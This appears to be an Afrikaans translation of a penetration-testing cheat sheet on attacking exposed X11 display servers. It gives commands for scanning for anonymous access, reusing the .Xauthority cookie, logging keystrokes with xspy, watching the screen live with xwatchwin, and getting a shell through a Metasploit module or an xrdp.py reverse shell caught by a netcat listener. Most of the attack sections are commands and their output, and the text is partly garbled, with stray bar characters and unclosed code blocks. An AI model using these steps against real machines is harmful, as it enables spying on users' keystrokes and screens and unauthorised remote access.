||
## Basiese Inligting
|
||
|
||
**X Window System** (X) is 'n veelsydige venstersisteem wat algemeen voorkom op UNIX-gebaseerde bedryfstelsels. Dit bied 'n raamwerk vir die skep van grafiese **gebruikerskoppelvlakke (GUI's)**, met individuele programme wat die gebruikerskoppelvlakontwerp hanteer. Hierdie buigsaamheid maak verskeie en aanpasbare ervarings binne die X-omgewing moontlik.
|
||
|
||
**Verstekpoort:** 6000
|
||
```
|
||
PORT STATE SERVICE
|
||
6000/tcp open X11
|
||
```
|
||
## Opsomming
|
||
|
||
Kyk vir **anonieme verbinding:**
|
||
```bash
|
||
nmap -sV --script x11-access -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/x11/open_x11
|
||
```
|
||
#### Plaaslike Opsomming
|
||
|
||
Die lêer **`.Xauthority`** in die gebruikers se tuisgids word **gebruik** deur **X11 vir magtiging**. Van [**hier**](https://stackoverflow.com/a/37367518):
|
||
```bash
|
||
$ xxd ~/.Xauthority
|
||
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
|
||
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
|
||
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
|
||
00000030: 041d ef ...
|
||
```
|
||
> MIT-towenaar-koekie-1: Genereer 128-bitsleutel ("koekie"), stoor dit in \~/.Xauthority (of waar XAUTHORITY envvar na wys). Die klient stuur dit onversleuteld na die bediener! Die bediener kontroleer of dit 'n kopie van hierdie "koekie" het en indien wel, word die verbinding toegelaat. Die sleutel word deur DMX gegenereer.
|
||
|
||
{% hint style="warning" %}
|
||
Om die koekie te **gebruik** moet jy die env-var stel: **`export XAUTHORITY=/pad/na/.Xauthority`**
|
||
{% endhint %}
|
||
|
||
#### Plaaslike Opsomming Sessie
|
||
```bash
|
||
$ w
|
||
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
|
||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
|
||
```
|
||
In die voorbeeld het `localhost:0` xfce4-session laat loop.
|
||
|
||
## Bevestig Verbinding
|
||
```bash
|
||
xdpyinfo -display <ip>:<display>
|
||
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
|
||
```
|
||
## Sleutelloggin
|
||
|
||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) om die sleutelbordtoetse te snuif.
|
||
|
||
Voorbeeld Uitset:
|
||
```
|
||
xspy 10.9.xx.xx
|
||
|
||
opened 10.9.xx.xx:0 for snoopng

|
||
## Skermbeskietings vaslê
|
||
```bash
|
||

|
||

|
||
|
||
Eerste moet ons die ID van die venster vind deur xwininfo te gebruik
|
||
```
|
||
xwininfo -root -display 10.9.xx.xx:0
|
||
|
||
xwininfo: Window id: 0x45 (the root window) (has no name)

|
||
```
|
||
**XWatchwin**
|
||
|
||
Vir **lewende vertoning** moet ons gebruik
|
||
```bash
|
||
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
|
||
./xwatchwin 10.9.xx.xx:0 -w 0x45
|
||
```
|
||
## Kry Skul
|
||
```
|
||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||
```
|
||
Ander manier:
|
||
|
||
**Omgekeerde Dop:** Xrdp laat ook toe om 'n omgekeerde dop te neem via Netcat. Tik die volgende bevel in:
|
||
```bash
|
||
./xrdp.py \<IP:0> –no-disp
|
||
```
|
||
In die koppelvlak kan jy die **R-shell opsie** sien.
|
||
|
||
Begin dan 'n **Netcat luisteraar** op jou plaaslike stelsel op poort 5555.
|
||
```bash
|
||
nc -lvp 5555
|
||
```
|
||
Dan, sit jou IP-adres en poort in die **R-Shell** opsie en klik op **R-shell** om 'n skaal te kry
